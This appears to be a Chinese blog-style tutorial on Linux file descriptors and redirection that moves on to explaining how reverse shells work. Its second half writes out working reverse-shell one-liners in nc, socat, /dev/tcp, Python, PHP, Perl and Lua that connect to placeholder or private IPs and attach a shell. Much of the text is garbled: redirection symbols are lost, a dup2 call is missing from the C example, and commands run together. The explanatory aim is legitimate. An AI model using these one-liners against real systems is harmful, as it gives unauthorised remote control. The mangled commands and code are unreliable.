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0x01 文件描述符介绍

Linux 系统中，把一切都看做是文件，当进程打开现有文件或创建新文件时，内核向进程返回一个文件描述符，文件描述符就是内核为了高效管理已被打开的文件所创建的索引，用来指向被打开的文件，所有执行I/O操作的系统调用都会通过文件描述符。这个操作包含各种文件的读写，程序的输入输出等。

0x1 文件与文件描述符

文件描述符最终对应的是文件，文件包含多种类型文件又可分为：普通文件、目录文件、链接文件和设备文件。程序刚刚启动的时候，0是标准输入，1是标准输出，2是标准错误。如果此时去打开一个新的文件，它的文件描述符会是3。POSIX标准要求每次打开文件时（含socket）必须使用当前进程中最小可用的文件描述符号码.

0x2 相互关系

其中进程，文件，文件描述符的关系如下：一个进程可以有多个文件描述符一个文件可以由多个文件描述符对应，文件描述符可以是不同进程一个文件描述符只能对应一个文件

具体关系图如下

v2-26e07f59de61dcd99d567a60168bc4cb_b.jp

文件描述符映射到文件

第一列是用户态进程符号描述表，后两列是内核态系统级表项。具体从文件描述符到文件，先从文件描述符表开始索引，定位到文件句柄指针，接着找到打开文件表，存储着文件的状态，包括偏移，inode号等，不同的文件描述符可以指向相同的文件句柄指针（可用dup或dup2函数实现）。

0x3 操作指令

lsof

lsof是列出系统所占用的资源（list open files），其中包括句柄资源。

lsof -a -p pid -d0,1,2,3#查看进程的文件描述符 lsof -w -n #查看所有使用的文件

ulimit

ulimit主要是用来限制进程对资源的使用情况的，它支持各种类型的限制，包括打开文件句柄数限制。

ulimit -n #查看进程允许打开的最大文件句柄数 ulimit -n pid#设置进程能打开的最大文件句柄数

看完了内容，做个实验放松一下：Web操作系统基础-Linux

hellocat - helloecho "asd" > hello 2> hello 将标准输入重定向到文件，cat - 意思是接受标准输入为文件进行输出，此命令等价于以下几个命令 cat hello | cat -exec 0hello;cat - 第一种只是多此一举，单纯的为了演示cat -的其他使用方法，该命令成功的原因在于管道符| 将管道符之后的命令的标准输入设置成了前一个指令的标准输出。第二种首先修改程序标准输入对应的文件为hello文件，其次执行cat -就会从标准输入中读取这是的标准输入文件已经成为了hello文件。

echo "asd" > hello 2>>hello，将该shell的3号描述符制定到hello文件上并设置可读可写属性

命令执行图

exec 3>hello ，exec 3hello分别以输出和输入的方式重定向文件描述符3对应的文件

输出重定向

输入重定向

exec 3>hello 将0文件描述符的文件重定向到hello文件上

不过此时在当前shell中仍然可以输入，原因是shell的输入是直接从键盘获取的，0号描述符只是影响了shell中启动的子进程。

比如cat - 会直接从标准输入中获取内容。

0x3 socket 套接字与描述符

在bash中利用socket可以实现很多功能，包括反弹shell，接受文件等。

mknod /tmp/backpipe p/bin/sh 0/tmp/backpipe | nc 192.168.xx.xx 4430 1>/tmp/backpipe

nc-socket文件描述符

主机一二之间利用socket套接字连接，文件描述符3代表新创建的socket套接字，管道符|使得/bin/bash的输出成为了nc的输入，同时nc将输出重定向到了pipe文件与/bin/bash的输入同一文件，具体关系如下

socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:192.168.0.119:9999

socat-socket文件描述符

exec 22>/dev/tcp/192.168.0.119/4444 sh int len; int status; int pid,fd; fd = open("data.in",O_WRONLY); /* fork to execute external program or scripts */ pid = fork(); if (pid==0) { /* child process */ (fd, STDOUT_FILENO); char *cmd[] = { "bash","-c","echo '111'",NULL }; /* execute CGI */ execv("/bin/bash",cmd); exit(0); } else { waitpid((pid_t)pid, } }

代码创建了一对管道如图所示：

fork过后，父子进程都连接pipe的读写端，与shell一样0，1描述符都是代表读写，对象是描述符文件，从描述符文件中读，写到描述符文件中。同时要关闭不必要的文件描述符读写端各保留一个。

fork pipe示意图

该示例把子进程输出重定向到文件，代码及解释如下：

#include "stdio.h"#include "unistd.h"#include "sys/types.h"#include "fcntl.h"int main() { char buffer[1024] = {0}; int len; int status; int pid,fd; fd = open("data.in",O_WRONLY); /* fork to execute external program or scripts */ pid = fork(); if (pid==0) { /* child process */ (fd, STDOUT_FILENO); char *cmd[] = { "bash","-c","echo '111'",NULL }; /* execute CGI */ execv("/bin/bash",cmd); exit(0); } else { waitpid((pid_t)pid, }}

代码15行dup2(a,b)函数将a的描述符文件赋值给b，可以把子进程的执行结果在文件中保存。

0x2 python

#!/usr/bin/env python # coding=utf-8 import os,sys aaa = os.open("./data.out",os.O_WRONLY) pid = os.fork() if pid ==0 : os.dup2(aaa,1) cmd = ["/bin/bash","-c","echo 'aaaa'"] os.execv(cmd[0],cmd)

利用python代码实现了c语言版子进程命令执行结果保存到文件。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

创建socket套接字，并将0，1，2描述符重定向到套接字上，执行subprocess继承当前进程的文件描述符状态，将bash的输入输出与套接字绑定实现反弹。

0x3

phpphp -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i '

php代码对应的文件描述符

根据文件描述符都是递增的道理，创建新的文件描述符之后其大小应该为3，所以直接将0，1，2重定向到了3，就完成了把bash的输入输出和socket绑定操作。

0x4 perl

perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">open(STDOUT,">open(STDERR,">exec("/bin/sh -i");};'

perl代码子程序文件描述符

在perl代码中，重定向函数为open，open(STDOUT, ">file1")翻译为将替换STDOUT指向的文件为file1；open(STDIN,">require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i "